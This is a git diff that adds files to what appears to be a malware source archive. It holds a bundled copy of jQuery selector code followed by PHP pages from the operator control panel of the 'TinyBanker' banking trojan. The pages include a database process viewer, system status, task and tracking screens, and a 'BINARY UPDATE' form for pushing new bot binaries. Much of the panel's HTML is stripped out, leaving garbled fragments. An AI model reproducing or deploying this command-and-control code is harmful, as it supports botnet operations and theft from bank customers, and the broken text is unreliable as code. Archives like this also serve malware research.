elem.disabled === true; + }, + + checked: function( elem ) { + return elem.checked === true; + }, + + selected: function( elem ) { + // Accessing this property makes selected-by-default + // options in Safari work properly + if ( elem.parentNode ) { + elem.parentNode.selectedIndex; + } + + return elem.selected === true; + }, + + parent: function( elem ) { + return !!elem.firstChild; + }, + + empty: function( elem ) { + return !elem.firstChild; + }, + + has: function( elem, i, match ) { + return !!Sizzle( match[3], elem ).length; + }, + + header: function( elem ) { + return (/h\d/i).test( elem.nodeName ); + }, + + text: function( elem ) { + var attr = elem.getAttribute( "type" ), type = elem.type; + // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) + // use getAttribute instead to test this case + return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null ); + }, + + radio: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type; + }, + + checkbox: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type; + }, + + file: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "file" === elem.type; + }, + + password: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "password" === elem.type; + }, + + submit: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "submit" === elem.type; + }, + + image: function( elem ) { + return elem.nodeName.toLowerCase() === "input" && "image" === elem.type; + }, + + reset: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && "reset" === elem.type; + }, + + button: function( elem ) { + var name = elem.nodeName.toLowerCase(); + return name === "input" && "button" === elem.type || name === "button"; + }, + + input: function( elem ) { + return (/input|select|textarea|button/i).test( elem.nodeName ); + }, + + focus: function( elem ) { + return elem === elem.ownerDocument.activeElement; + } + }, + setFilters: { + first: function( elem, i ) { + return i === 0; + }, + + last: function( elem, i, match, array ) { + return i === array.length - 1; + }, + + even: function( elem, i ) { + return i % 2 === 0; + }, + + odd: function( elem, i ) { + return i % 2 === 1; + }, + + lt: function( elem, i, match ) { + return i < match[3] - 0; + }, + + gt: function( elem, i, match ) { + return i > match[3] - 0; + }, + + nth: function( elem, i, match ) { + return match[3] - 0 === i; + }, + + eq: function( elem, i, match ) { + return match[3] - 0 === i; + } + }, + filter: { + PSEUDO: function( elem, match, i, array ) { + var name = match[1], + filter = Expr.filters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + + } else if ( name === "contains" ) { + return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; + + } else if ( name === "not" ) { + var not = match[3]; + + for ( var j = 0, l = not.length; j < l; j++ ) { + if ( not[j] === elem ) { + return false; + } + } + + return true; + + } else { + Sizzle.error( name ); + } + }, + + CHILD: function( elem, match ) { + var first, last, + doneName, parent, cache, + count, diff, + type = match[1], + node = elem; + + switch ( type ) { + case "only": + case "first": + while ( (node = node.previousSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + if ( type === "first" ) { + return true; + } + + node = elem; + + case "last": + while ( (node = node.nextSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + + return true; + + case "nth": + first = match[2]; + last = match[3]; + + if ( first === 1 && last === 0 ) { + return true; + } + + doneName = match[0]; + parent = elem.parentNode; + + if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) { + count = 0; + + for ( node = parent.firstChild; node; node = node.nextSibling ) { + if ( node.nodeType === 1 ) { + node.nodeIndex = ++count; + } + } + + parent[ expando ] = doneName; + } + + diff = elem.nodeIndex - last; + + if ( first === 0 ) { + return diff === 0; + + } else { + return ( diff % first === 0 && diff / first >= 0 ); + } + } + }, + + ID: function( elem, match ) { + return elem.nodeType === 1 && elem.getAttribute("id") === match; + }, + + TAG: function( elem, match ) { + return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match; + }, + + CLASS: function( elem, match ) { + return (" " + (elem.className || elem.getAttribute("class")) + " ") + .indexOf( match ) > -1; + }, + + ATTR: function( elem, match ) { + var name = match[1], + result = Sizzle.attr ? + Sizzle.attr( elem, name ) : + Expr.attrHandle[ name ] ? + Expr.attrHandle[ name ]( elem ) : + elem[ name ] != null ? + elem[ name ] : + elem.getAttribute( name ), + value = result + "", + type = match[2], + check = match[4]; + + return result == null ? + type === "!=" : + !type && Sizzle.attr ? + result != null : + type === "=" ? + value === check : + type === "*=" ? + value.indexOf(check) >= 0 : + type === "~=" ? + (" " + value + " ").indexOf(check) >= 0 : + !check ? + value && result !== false : + type === "!=" ? + value !== check : + type === "^=" ? + value.indexOf(check) === 0 : + type === "$=" ? + value.substr(value.length - check.length) === check : + type === "|=" ? + value === check || value.substr(0, check.length + 1) === check + "-" : + false; + }, + + POS: function( elem, match, i, array ) { + var name = match[2], + filter = Expr.setFilters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } + } + } +}; + +var origPOS = Expr.match.POS, + fescape = function(all, num){ + return "\\" + (num - 0 + 1); + }; + +for ( var type in Expr.match ) { + Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); + Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); +} + +var makeArray = function( array, results ) { + array = Array.prototype.slice.call( array, 0 ); + + if ( results ) { + results.push.apply( results, array ); + return results; + } + + return array; +}; + +// Perform a simple check to determine if the browser is capable of +// converting a NodeList to an array using builtin methods. +// Also verifies that the returned array holds DOM nodes +// (which is not the case in the Blackberry browser) +try { + Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; + +// Provide a fallback method if it does not work +} catch( e ) { + makeArray = function( array, results ) { + var i = 0, + ret = results || []; + + if ( toString.call(array) === "[object Array]" ) { + Array.prototype.push.apply( ret, array ); + + } else { + if ( typeof array.length === "number" ) { + for ( var l = array.length; i < l; i++ ) { + ret.push( array[i] ); + } + + } else { + for ( ; array[i]; i++ ) { + ret.push( array[i] ); + } + } + } + + return ret; + }; +} + +var sortOrder, siblingCheck; + +if ( document.documentElement.compareDocumentPosition ) { + sortOrder = function( a, b ) { + if ( a === b ) { + hasDuplicate = true; + return 0; + } + + if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { + return a.compareDocumentPosition ? -1 : 1; + } + + return a.compareDocumentPosition(b) & 4 ? -1 : 1; + }; + +} else { + sortOrder = function( a, b ) { + // The nodes are identical, we can exit early + if ( a === b ) { + hasDuplicate = true; + return 0; + + // Fallback to using sourceIndex (in IE) if it's available on both nodes + } else if ( a.sourceIndex && b.sourceIndex ) { + return a.sourceIndex - b.sourceIndex; + } + + var al, bl, + ap = [], + bp = [], + aup = a.parentNode, + bup = b.parentNode, + cur = aup; + + // If the nodes are siblings (or identical) we can do a quick check + if ( aup === bup ) { + return siblingCheck( a, b ); + + // If no parents were found then the nodes are disconnected + } else if ( !aup ) { + return -1; + + } else if ( !bup ) { + return 1; + } + + // Otherwise they're somewhere else in the tree so we need + // to build up a full list of the parentNodes for comparison + while ( cur ) { + ap.unshift( cur ); + cur = cur.parentNode; + } + + cur = bup; + + while ( cur ) { + bp.unshift( cur ); + cur = cur.parentNode; + } + + al = ap.length; + bl = bp.length; + + // Start walking down the tree looking for a discrepancy + for ( var i = 0; i < al && i < bl; i++ ) { + if ( ap[i] !== bp[i] ) { + return siblingCheck( ap[i], bp[i] ); + } + } + + // We ended someplace up the tree so do a sibling check + return i === al ? + siblingCheck( a, bp[i], -1 ) : + siblingCheck( ap[i], b, 1 ); + }; + + siblingCheck = function( a, b, ret ) { + if ( a === b ) { + return ret; + } + + var cur = a.nextSibling; + + while ( cur ) { + if ( cur === b ) { + return -1; + } + + cur = cur.nextSibling; + } + + return 1; + }; +} + +// Check to see if the browser returns elements by name when +// querying by getElementById (and provide a workaround) +(function(){ + // We're going to inject a fake input element with a specified name + var form = document.createElement("div"), + id = "script" + (new Date()).getTime(), + root = document.documentElement; + + form.innerHTML = ""; + + // Inject it into the root element, check its status, and remove it quickly + root.insertBefore( form, root.firstChild ); + + // The workaround has to do additional checks after a getElementById + // Which slows things down for other browsers (hence the branching) + if ( document.getElementById( id ) ) { + Expr.find.ID = function( match, context, isXML ) { + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + + return m ? + m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? + [m] : + undefined : + []; + } + }; + + Expr.filter.ID = function( elem, match ) { + var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); + + return elem.nodeType === 1 && node && node.nodeValue === match; + }; + } + + root.removeChild( form ); + + // release memory in IE + root = form = null; +})(); + +(function(){ + // Check to see if the browser returns only elements + // when doing getElementsByTagName("*") + + // Create a fake element + var div = document.createElement("div"); + div.appendChild( document.createComment("") ); + + // Make sure no comments are found + if ( div.getElementsByTagName("*").length > 0 ) { + Expr.find.TAG = function( match, context ) { + var results = context.getElementsByTagName( match[1] ); + + // Filter out possible comments + if ( match[1] === "*" ) { + var tmp = []; + + for ( var i = 0; results[i]; i++ ) { + if ( results[i].nodeType === 1 ) { + tmp.push( results[i] ); + } + } + + results = tmp; + } + + return results; + }; + } + + // Check to see if an attribute returns normalized href attributes + div.innerHTML = ""; + + if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && + div.firstChild.getAttribute("href") !== "#" ) { + + Expr.attrHandle.href = function( elem ) { + return elem.getAttribute( "href", 2 ); + }; + } + + // release memory in IE + div = null; +})(); + +if ( document.querySelectorAll ) { + (function(){ + var oldSizzle = Sizzle, + div = document.createElement("div"), + id = "__sizzle__"; + + div.innerHTML = "

"; + + // Safari can't handle uppercase or unicode characters when + // in quirks mode. + if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { + return; + } + + Sizzle = function( query, context, extra, seed ) { + context = context || document; + + // Only use querySelectorAll on non-XML documents + // (ID selectors don't work in non-HTML documents) + if ( !seed && !Sizzle.isXML(context) ) { + // See if we find a selector to speed up + var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query ); + + if ( match && (context.nodeType === 1 || context.nodeType === 9) ) { + // Speed-up: Sizzle("TAG") + if ( match[1] ) { + return makeArray( context.getElementsByTagName( query ), extra ); + + // Speed-up: Sizzle(".CLASS") + } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) { + return makeArray( context.getElementsByClassName( match[2] ), extra ); + } + } + + if ( context.nodeType === 9 ) { + // Speed-up: Sizzle("body") + // The body element only exists once, optimize finding it + if ( query === "body" && context.body ) { + return makeArray( [ context.body ], extra ); + + // Speed-up: Sizzle("#ID") + } else if ( match && match[3] ) { + var elem = context.getElementById( match[3] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id === match[3] ) { + return makeArray( [ elem ], extra ); + } + + } else { + return makeArray( [], extra ); + } + } + + try { + return makeArray( context.querySelectorAll(query), extra ); + } catch(qsaError) {} + + // qSA works strangely on Element-rooted queries + // We can work around this by specifying an extra ID on the root + // and working up from there (Thanks to Andrew Dupont for the technique) + // IE 8 doesn't work on object elements + } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { + var oldContext = context, + old = context.getAttribute( "id" ), + nid = old || id, + hasParent = context.parentNode, + relativeHierarchySelector = /^\s*[+~]/.test( query ); + + if ( !old ) { + context.setAttribute( "id", nid ); + } else { + nid = nid.replace( /'/g, "\\$&" ); + } + if ( relativeHierarchySelector && hasParent ) { + context = context.parentNode; + } + + try { + if ( !relativeHierarchySelector || hasParent ) { + return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra ); + } + + } catch(pseudoError) { + } finally { + if ( !old ) { + oldContext.removeAttribute( "id" ); + } + } + } + } + + return oldSizzle(query, context, extra, seed); + }; + + for ( var prop in oldSizzle ) { + Sizzle[ prop ] = oldSizzle[ prop ]; + } + + // release memory in IE + div = null; + })(); +} + +(function(){ + var html = document.documentElement, + matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector; + + if ( matches ) { + // Check to see if it's possible to do matchesSelector + // on a disconnected node (IE 9 fails this) + var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ), + pseudoWorks = false; + + try { + // This should fail with an exception + // Gecko does not error, returns false instead + matches.call( document.documentElement, "[test!='']:sizzle" ); + + } catch( pseudoError ) { + pseudoWorks = true; + } + + Sizzle.matchesSelector = function( node, expr ) { + // Make sure that attribute selectors are quoted + expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']"); + + if ( !Sizzle.isXML( node ) ) { + try { + if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) { + var ret = matches.call( node, expr ); + + // IE 9's matchesSelector returns false on disconnected nodes + if ( ret || !disconnectedMatch || + // As well, disconnected nodes are said to be in a document + // fragment in IE 9, so check for that + node.document && node.document.nodeType !== 11 ) { + return ret; + } + } + } catch(e) {} + } + + return Sizzle(expr, null, null, [node]).length > 0; + }; + } +})(); + +(function(){ + var div = document.createElement("div"); + + div.innerHTML = "
"; + + // Opera can't find a second classname (in 9.6) + // Also, make sure that getElementsByClassName actually exists + if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { + return; + } + + // Safari caches class attributes, doesn't catch changes (in 3.2) + div.lastChild.className = "e"; + + if ( div.getElementsByClassName("e").length === 1 ) { + return; + } + + Expr.order.splice(1, 0, "CLASS"); + Expr.find.CLASS = function( match, context, isXML ) { + if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { + return context.getElementsByClassName(match[1]); + } + }; + + // release memory in IE + div = null; +})(); + +function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 && !isXML ){ + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( elem.nodeName.toLowerCase() === cur ) { + match = elem; + break; + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + + if ( elem ) { + var match = false; + + elem = elem[dir]; + + while ( elem ) { + if ( elem[ expando ] === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 ) { + if ( !isXML ) { + elem[ expando ] = doneName; + elem.sizset = i; + } + + if ( typeof cur !== "string" ) { + if ( elem === cur ) { + match = true; + break; + } + + } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { + match = elem; + break; + } + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +if ( document.documentElement.contains ) { + Sizzle.contains = function( a, b ) { + return a !== b && (a.contains ? a.contains(b) : true); + }; + +} else if ( document.documentElement.compareDocumentPosition ) { + Sizzle.contains = function( a, b ) { + return !!(a.compareDocumentPosition(b) & 16); + }; + +} else { + Sizzle.contains = function() { + return false; + }; +} + +Sizzle.isXML = function( elem ) { + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; + + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +var posProcess = function( selector, context, seed ) { + var match, + tmpSet = [], + later = "", + root = context.nodeType ? [context] : context; + + // Position selectors must be done after the filter + // And so must :not(positional) so we move all PSEUDOs to the end + while ( (match = Expr.match.PSEUDO.exec( selector )) ) { + later += match[0]; + selector = selector.replace( Expr.match.PSEUDO, "" ); + } + + selector = Expr.relative[selector] ? selector + "*" : selector; + + for ( var i = 0, l = root.length; i < l; i++ ) { + Sizzle( selector, root[i], tmpSet, seed ); + } + + return Sizzle.filter( later, tmpSet ); +}; + +// EXPOSE +// Override sizzle attribute retrieval +Sizzle.attr = jQuery.attr; +Sizzle.selectors.attrMap = {}; +jQuery.find = Sizzle; +jQuery.expr = Sizzle.selectors; +jQuery.expr[":"] = jQuery.expr.filters; +jQuery.unique = Sizzle.uniqueSort; +jQuery.text = Sizzle.getText; +jQuery.isXMLDoc = Sizzle.isXML; +jQuery.contains = Sizzle.contains; + + +})(); + + +var runtil = /Until$/, + rparentsprev = /^(?:parents|prevUntil|prevAll)/, + // Note: This RegExp should be improved, or likely pulled from Sizzle + rmultiselector = /,/, + isSimple = /^.[^:#\[\.,]*$/, + slice = Array.prototype.slice, + POS = jQuery.expr.match.POS, + // methods guaranteed to produce a unique set when starting from a unique set + guaranteedUnique = { + children: true, + contents: true, + next: true, + prev: true + }; + +jQuery.fn.extend({ + find: function( selector ) { + var self = this, + i, l; + + if ( typeof selector !== "string" ) { + return jQuery( selector ).filter(function() { + for ( i = 0, l = self.length; i < l; i++ ) { + if ( jQuery.contains( self[ i ], this ) ) { + return true; + } + } + }); + } + + var ret = this.pushStack( "", "find", selector ), + length, n, r; + + for ( i = 0, l = this.length; i < l; i++ ) { + length = ret.length; + jQuery.find( selector, this[i], ret ); + + if ( i > 0 ) { + // Make sure that the results are unique + for ( n = length; n < ret.length; n++ ) { + for ( r = 0; r < length; r++ ) { + if ( ret[r] === ret[n] ) { + ret.splice(n--, 1); + break; + } + } + } + } + } + + return ret; + }, + + has: function( target ) { + var targets = jQuery( target ); + return this.filter(function() { + for ( var i = 0, l = targets.length; i < l; i++ ) { + if ( jQuery.contains( this, targets[i] ) ) { + return true; + } + } + }); + }, + + not: function( selector ) { + return this.pushStack( winnow(this, selector, false), "not", selector); + }, + + filter: function( selector ) { + return this.pushStack( winnow(this, selector, true), "filter", selector ); + }, + + is: function( selector ) { + return !!selector && ( + typeof selector === "string" ? + // If this is a positional selector, check membership in the returned set + // so $("p:first").is("p:last") won't return true for a doc with two "p". + POS.test( selector ) ? + jQuery( selector, this.context ).index( this[0] ) >= 0 : + jQuery.filter( selector, this ).length > 0 : + this.filter( selector ).length > 0 ); + }, + + closest: function( selectors, context ) { + var ret = [], i, l, cur = this[0]; + + // Array (deprecated as of jQuery 1.7) + if ( jQuery.isArray( selectors ) ) { + var level = 1; + + while ( cur && cur.ownerDocument && cur !== context ) { + for ( i = 0; i < selectors.length; i++ ) { + + if ( jQuery( cur ).is( selectors[ i ] ) ) { + ret.push({ selector: selectors[ i ], elem: cur, level: level }); + } + } + + cur = cur.parentNode; + level++; + } + + return ret; + } + + // String + var pos = POS.test( selectors ) || typeof selectors !== "string" ? + jQuery( selectors, context || this.context ) : + 0; + + for ( i = 0, l = this.length; i < l; i++ ) { + cur = this[i]; + + while ( cur ) { + if ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) { + ret.push( cur ); + break; + + } else { + cur = cur.parentNode; + if ( !cur || !cur.ownerDocument || cur === context || cur.nodeType === 11 ) { + break; + } + } + } + } + + ret = ret.length > 1 ? jQuery.unique( ret ) : ret; + + return this.pushStack( ret, "closest", selectors ); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + + // No argument, return index in parent + if ( !elem ) { + return ( this[0] && this[0].parentNode ) ? this.prevAll().length : -1; + } + + // index in selector + if ( typeof elem === "string" ) { + return jQuery.inArray( this[0], jQuery( elem ) ); + } + + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[0] : elem, this ); + }, + + add: function( selector, context ) { + var set = typeof selector === "string" ? + jQuery( selector, context ) : + jQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ), + all = jQuery.merge( this.get(), set ); + + return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ? + all : + jQuery.unique( all ) ); + }, + + andSelf: function() { + return this.add( this.prevObject ); + } +}); + +// A painfully simple check to see if an element is disconnected +// from a document (should be improved, where feasible). +function isDisconnected( node ) { + return !node || !node.parentNode || node.parentNode.nodeType === 11; +} + +jQuery.each({ + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return jQuery.dir( elem, "parentNode" ); + }, + parentsUntil: function( elem, i, until ) { + return jQuery.dir( elem, "parentNode", until ); + }, + next: function( elem ) { + return jQuery.nth( elem, 2, "nextSibling" ); + }, + prev: function( elem ) { + return jQuery.nth( elem, 2, "previousSibling" ); + }, + nextAll: function( elem ) { + return jQuery.dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return jQuery.dir( elem, "previousSibling" ); + }, + nextUntil: function( elem, i, until ) { + return jQuery.dir( elem, "nextSibling", until ); + }, + prevUntil: function( elem, i, until ) { + return jQuery.dir( elem, "previousSibling", until ); + }, + siblings: function( elem ) { + return jQuery.sibling( elem.parentNode.firstChild, elem ); + }, + children: function( elem ) { + return jQuery.sibling( elem.firstChild ); + }, + contents: function( elem ) { + return jQuery.nodeName( elem, "iframe" ) ? + elem.contentDocument || elem.contentWindow.document : + jQuery.makeArray( elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( name ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, name, slice.call( arguments ).join(",") ); + }; +}); + +jQuery.extend({ + filter: function( expr, elems, not ) { + if ( not ) { + expr = ":not(" + expr + ")"; + } + + return elems.length === 1 ? + jQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] : + jQuery.find.matches(expr, elems); + }, + + dir: function( elem, dir, until ) { + var matched = [], + cur = elem[ dir ]; + + while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { + if ( cur.nodeType === 1 ) { + matched.push( cur ); + } + cur = cur[dir]; + } + return matched; + }, + + nth: function( cur, result, dir, elem ) { + result = result || 1; + var num = 0; + + for ( ; cur; cur = cur[dir] ) { + if ( cur.nodeType === 1 && ++num === result ) { + break; + } + } + + return cur; + }, + + sibling: function( n, elem ) { + var r = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + r.push( n ); + } + } + + return r; + } +}); + +// Implement the identical functionality for filter and not +function winnow( elements, qualifier, keep ) { + + // Can't pass null or undefined to indexOf in Firefox 4 + // Set to 0 to skip string check + qualifier = qualifier || 0; + + if ( jQuery.isFunction( qualifier ) ) { + return jQuery.grep(elements, function( elem, i ) { + var retVal = !!qualifier.call( elem, i, elem ); + return retVal === keep; + }); + + } else if ( qualifier.nodeType ) { + return jQuery.grep(elements, function( elem, i ) { + return ( elem === qualifier ) === keep; + }); + + } else if ( typeof qualifier === "string" ) { + var filtered = jQuery.grep(elements, function( elem ) { + return elem.nodeType === 1; + }); + + if ( isSimple.test( qualifier ) ) { + return jQuery.filter(qualifier, filtered, !keep); + } else { + qualifier = jQuery.filter( qualifier, filtered ); + } + } + + return jQuery.grep(elements, function( elem, i ) { + return ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep; + }); +} + + + + +function createSafeFragment( document ) { + var list = nodeNames.split( "|" ), + safeFrag = document.createDocumentFragment(); + + if ( safeFrag.createElement ) { + while ( list.length ) { + safeFrag.createElement( + list.pop() + ); + } + } + return safeFrag; +} + +var nodeNames = "abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|" + + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video", + rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g, + rleadingWhitespace = /^\s+/, + rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig, + rtagName = /<([\w:]+)/, + rtbody = /", "" ], + legend: [ 1, "
", "
" ], + thead: [ 1, "", "
" ], + tr: [ 2, "", "
" ], + td: [ 3, "", "
" ], + col: [ 2, "", "
" ], + area: [ 1, "", "" ], + _default: [ 0, "", "" ] + }, + safeFragment = createSafeFragment( document ); + +wrapMap.optgroup = wrapMap.option; +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +// IE can't serialize and "; + + + + + + + $result = mysql_query("SHOW PROCESSLIST"); + print "
+ + + + + + + + + + + + \n\n"; + + + while($row = mysql_fetch_array($result)){ + print " + + + + + + + + + + "; + }; + print "
IDUserHostDBCommandTimeStateInfo
$row[Id]$row[User]$row[Host]$row[db]$row[Command]".date('H:i:s',$row['Time'])."$row[State]$row[Info]
+ +
+ + +"; + + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php new file mode 100644 index 0000000..85b43df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php @@ -0,0 +1,77 @@ + + + + + + + + + +
ServerApachePHPMySQL 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php new file mode 100644 index 0000000..b81d642 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php new file mode 100644 index 0000000..5c48f0e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php new file mode 100644 index 0000000..899947d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php @@ -0,0 +1,62 @@ + + + + + + + + +
Updatetasks2tasks3 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php new file mode 100644 index 0000000..64c2b69 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php new file mode 100644 index 0000000..eb701c6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php new file mode 100644 index 0000000..879518f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php @@ -0,0 +1,36 @@ + + + + + + +
BINARY UPDATE

"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes
+ uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."


+ "; + + + print "
+"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php new file mode 100644 index 0000000..a89f230 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php @@ -0,0 +1,62 @@ + + + + + + + + +
tracking1tracking2tracking3 
